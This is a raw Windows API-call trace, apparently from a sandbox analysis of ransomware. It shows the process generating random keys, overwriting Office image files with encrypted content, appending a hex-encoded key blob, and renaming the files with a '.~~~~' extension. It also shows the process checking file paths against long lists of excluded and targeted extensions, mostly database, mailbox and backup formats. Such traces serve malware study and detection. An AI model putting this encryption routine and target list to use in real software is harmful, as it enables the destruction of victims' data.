	[0140.423] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.423] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.423] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26041349154) returned 1
	[0140.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd199350, dwHighDateTime=0x1d60e1e)) 
	[0140.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d420
	[0140.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d420 | out: hHeap=0x300000) returned 1
	[0140.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4e38
	[0140.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4e38 | out: hHeap=0x300000) returned 1
	[0140.425] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.425] GetLastError () returned 0x0
	[0140.425] GetLastError () returned 0x0
	[0140.425] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.425] GetLastError () returned 0x0
	[0140.425] GetLastError () returned 0x0
	[0140.426] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x3408, lpOverlapped=0x0) returned 1
	[0140.433] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffcbf8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.433] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3408, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x3408, lpOverlapped=0x0) returned 1
	[0140.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.433] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.433] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.433] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.433] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.434] CloseHandle (hObject=0x108) returned 1
	[0140.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f52d0
	[0140.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif.~~~~")) returned 1
	[0140.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f52d0 | out: hHeap=0x300000) returned 1
	[0140.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.436] GetLastError () returned 0x0
	[0140.436] RtlWakeConditionVariable () returned 0x365f70
	[0140.436] GetCurrentThreadId () returned 0x3a4
	[0140.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".scr") returned 0x0
	[0140.436] lstrlenW (lpString=".cmd") returned 4
	[0140.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".cmd") returned 0x0
	[0140.436] lstrlenW (lpString=".dll") returned 4
	[0140.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dll") returned 0x0
	[0140.436] lstrlenW (lpString=".bat") returned 4
	[0140.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".bat") returned 0x0
	[0140.436] lstrlenW (lpString=".cpl") returned 4
	[0140.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".cpl") returned 0x0
	[0140.436] lstrlenW (lpString=".sys") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".sys") returned 0x0
	[0140.437] lstrlenW (lpString=".msc") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".msc") returned 0x0
	[0140.437] lstrlenW (lpString=".com") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".com") returned 0x0
	[0140.437] lstrlenW (lpString=".lnk") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".lnk") returned 0x0
	[0140.437] lstrlenW (lpString=".msp") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".msp") returned 0x0
	[0140.437] lstrlenW (lpString=".pif") returned 4
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".pif") returned 0x0
	[0140.437] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.438] lstrlenW (lpString=".sqb") returned 4
	[0140.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".sqb") returned 0x0
	[0140.438] lstrlenW (lpString=".ost") returned 4
	[0140.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".ost") returned 0x0
	[0140.439] lstrlenW (lpString=".txt") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".txt") returned 0x0
	[0140.439] lstrlenW (lpString=".mdt") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".mdt") returned 0x0
	[0140.439] lstrlenW (lpString=".BDB") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".BDB") returned 0x0
	[0140.439] lstrlenW (lpString=".eql") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".eql") returned 0x0
	[0140.439] lstrlenW (lpString=".DBF") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DBF") returned 0x0
	[0140.439] lstrlenW (lpString=".EQL") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".EQL") returned 0x0
	[0140.439] lstrlenW (lpString=".FDB") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".FDB") returned 0x0
	[0140.439] lstrlenW (lpString=".EDB") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".EDB") returned 0x0
	[0140.439] lstrlenW (lpString=".DACPAC") returned 7
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.439] lstrlenW (lpString=".VHD") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".VHD") returned 0x0
	[0140.439] lstrlenW (lpString=".DBV") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DBV") returned 0x0
	[0140.439] lstrlenW (lpString=".dacpac") returned 7
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.439] lstrlenW (lpString=".sdf") returned 4
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".sdf") returned 0x0
	[0140.439] lstrlenW (lpString=".accdb") returned 6
	[0140.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".accdb") returned 0x0
	[0140.439] lstrlenW (lpString=".DBX") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DBX") returned 0x0
	[0140.440] lstrlenW (lpString=".MDT") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".MDT") returned 0x0
	[0140.440] lstrlenW (lpString=".SQB") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".SQB") returned 0x0
	[0140.440] lstrlenW (lpString=".vhd") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".vhd") returned 0x0
	[0140.440] lstrlenW (lpString=".bac") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".bac") returned 0x0
	[0140.440] lstrlenW (lpString=".mdf") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".mdf") returned 0x0
	[0140.440] lstrlenW (lpString=".BAK") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".BAK") returned 0x0
	[0140.440] lstrlenW (lpString=".BAC") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".BAC") returned 0x0
	[0140.440] lstrlenW (lpString=".dbs") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dbs") returned 0x0
	[0140.440] lstrlenW (lpString=".vhdx") returned 5
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.440] lstrlenW (lpString=".NDF") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".NDF") returned 0x0
	[0140.440] lstrlenW (lpString=".dat") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dat") returned 0x0
	[0140.440] lstrlenW (lpString=".DBS") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DBS") returned 0x0
	[0140.440] lstrlenW (lpString=".CKP") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".CKP") returned 0x0
	[0140.440] lstrlenW (lpString=".edb") returned 4
	[0140.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".edb") returned 0x0
	[0140.441] lstrlenW (lpString=".PST") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".PST") returned 0x0
	[0140.441] lstrlenW (lpString=".dbf") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dbf") returned 0x0
	[0140.441] lstrlenW (lpString=".SQL") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".SQL") returned 0x0
	[0140.441] lstrlenW (lpString=".pst") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".pst") returned 0x0
	[0140.441] lstrlenW (lpString=".dbv") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dbv") returned 0x0
	[0140.441] lstrlenW (lpString=".SDF") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".SDF") returned 0x0
	[0140.441] lstrlenW (lpString=".dtxs") returned 5
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.441] lstrlenW (lpString=".db3") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".db3") returned 0x0
	[0140.441] lstrlenW (lpString=".OST") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".OST") returned 0x0
	[0140.441] lstrlenW (lpString=".dbx") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dbx") returned 0x0
	[0140.441] lstrlenW (lpString=".DB3") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DB3") returned 0x0
	[0140.441] lstrlenW (lpString=".DAT") returned 4
	[0140.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DAT") returned 0x0
	[0140.442] lstrlenW (lpString=".VHDX") returned 5
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.442] lstrlenW (lpString=".ndf") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".ndf") returned 0x0
	[0140.442] lstrlenW (lpString=".DB") returned 3
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DB") returned 0x0
	[0140.442] lstrlenW (lpString=".sql") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".sql") returned 0x0
	[0140.442] lstrlenW (lpString=".MYD") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".MYD") returned 0x0
	[0140.442] lstrlenW (lpString=".DBT") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DBT") returned 0x0
	[0140.442] lstrlenW (lpString=".ACCDB") returned 6
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.442] lstrlenW (lpString=".fdb") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".fdb") returned 0x0
	[0140.442] lstrlenW (lpString=".bak") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".bak") returned 0x0
	[0140.442] lstrlenW (lpString=".myd") returned 4
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".myd") returned 0x0
	[0140.442] lstrlenW (lpString=".DTXS") returned 5
	[0140.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.442] lstrlenW (lpString=".ckp") returned 4
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".ckp") returned 0x0
	[0140.443] lstrlenW (lpString=".dbt") returned 4
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".dbt") returned 0x0
	[0140.443] lstrlenW (lpString=".db") returned 3
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".db") returned 0x0
	[0140.443] lstrlenW (lpString=".TXT") returned 4
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".TXT") returned 0x0
	[0140.443] lstrlenW (lpString=".MDF") returned 4
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".MDF") returned 0x0
	[0140.443] lstrlenW (lpString=".bdb") returned 4
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".bdb") returned 0x0
	[0140.443] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.443] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.444] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.444] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.445] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26043487385) returned 1
	[0140.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd1e5610, dwHighDateTime=0x1d60e1e)) 
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d3b0
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d3b0 | out: hHeap=0x300000) returned 1
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f5180
	[0140.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5180 | out: hHeap=0x300000) returned 1
	[0140.445] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.446] GetLastError () returned 0x0
	[0140.446] GetLastError () returned 0x0
	[0140.446] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.446] GetLastError () returned 0x0
	[0140.446] GetLastError () returned 0x0
	[0140.446] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x1fd7, lpOverlapped=0x0) returned 1
	[0140.550] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffe029, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.550] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1fd7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x1fd7, lpOverlapped=0x0) returned 1
	[0140.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.550] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.550] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.550] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
